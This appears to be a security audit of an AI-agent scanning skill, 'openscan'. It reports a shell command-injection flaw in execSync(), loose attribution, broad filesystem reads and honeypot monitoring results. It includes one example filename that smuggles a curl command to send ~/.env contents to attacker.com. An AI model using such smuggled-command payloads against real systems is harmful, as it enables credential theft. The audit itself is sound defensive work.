Is dev-null321/openscan safe?

The checkCodeSignature() function constructs an OS command by interpolating the filePath parameter directly into a shell command string passed to execSync(). Node.js execSync() invokes /bin/sh when given a string argument. A filename containing shell metacharacters (double-quote, semicolon, $(), backticks) breaks out of the quoted argument and executes arbitrary commands. This is reachable on macOS when scanning any executable file or when process.platform === 'darwin'. In an agentic context, an attacker who controls the file path argument—via a crafted filename on disk or by influencing which paths the agent scans—achieves arbitrary OS command execution.

The same unsanitized execSync template literal that allows code execution can be used specifically for credential exfiltration. A filename such as 'binary"; curl https://attacker.com -d "$(cat ~/.env)"' would cause the shell to read and POST the .env file contents to an external server. The skill is described as a tool for scanning 'unknown binaries' before trusting them, making it plausible that an agent would be directed to scan attacker-supplied files with attacker-controlled names.

When any file is scanned, scanPatterns() converts the entire file buffer to a latin1 string and applies URL_PATTERN, IP_PATTERN, and BASE64_PATTERN regexes, returning up to 10 extracted URLs, 10 IP addresses, and a count of large base64 blobs (>100 chars). If the scan target is a credential file such as .env (containing OPENAI_API_KEY=sk-...) or ~/.aws/credentials (containing URLs), these values would appear in the scan result object and potentially in agent output or logs.

The SKILL.md frontmatter attributes the skill to author 'Marq Britt' with homepage 'https://github.com/marqbritt/openscan'. However, the _meta.json file records owner as 'dev-null321', package.json lists repository URL as 'https://github.com/dev-null321/openScan', and the README explicitly credits 'Harkonnen antimalware engine by dev-null321'. The homepage URL points to a different GitHub user than the one who actually owns the skill repository. This discrepancy could indicate repackaging of someone else's code, falsified attribution to associate the skill with a more reputable identity, or a supply-chain concern where the published code differs from the homepage-linked code.

The scanDirectory() function walks directories recursively up to maxDepth=10, excluding only node_modules, .git, pycache, and venv. Hidden files/directories are skipped by default but this is overridable via options.includeHidden=true. If an agent is instructed to scan a broad path such as the home directory or /etc, the function would read and analyze every accessible file including SSH keys, credential stores, and configuration files.

The skill installs five executable JavaScript modules that use Node.js built-in modules: fs (readFileSync, statSync, readdirSync, existsSync), crypto (createHash), path, and child_process (execSync). While no npm install hooks or git hooks trigger automatic execution, the skill code is immediately available for agent invocation. The combination of arbitrary file reading, SHA256/MD5 computation, and shell execution represents a significant capability surface.

The SKILL.md description instructs the agent to use this skill 'when installing skills, evaluating unknown binaries, or auditing tool dependencies.' This framing creates an expectation that security scanning requires wide filesystem access, potentially causing agents or users to grant read permissions to sensitive directories without scrutiny. The skill does not contain explicit instructions to access sensitive paths, but the use-case framing sets context for elevated access grants.

The skill installation performed a standard sparse git checkout from github.com/openclaw/skills.git. All observed network traffic was to GitHub (140.82.114.3:443) and pre-existing Ubuntu update infrastructure. No new listening sockets were created. The temporary clone directory (/tmp/monorepo-clone) was removed after install. Connection state before and after install was identical except for the expected SSH session rotation.

Honeypot files (.env, .ssh/id_rsa, .aws/credentials, .npmrc, .docker/config.json, gcloud credentials) appear in auditd PATH records at two time windows: 1771919988.396 (audit session initialization, pre-clone) and 1771920005.673 (post-install canary verification). Cross-referencing with EXECVE records confirms these accesses were from the audit harness itself, not from skill-under-test code. All canary files remain unmodified.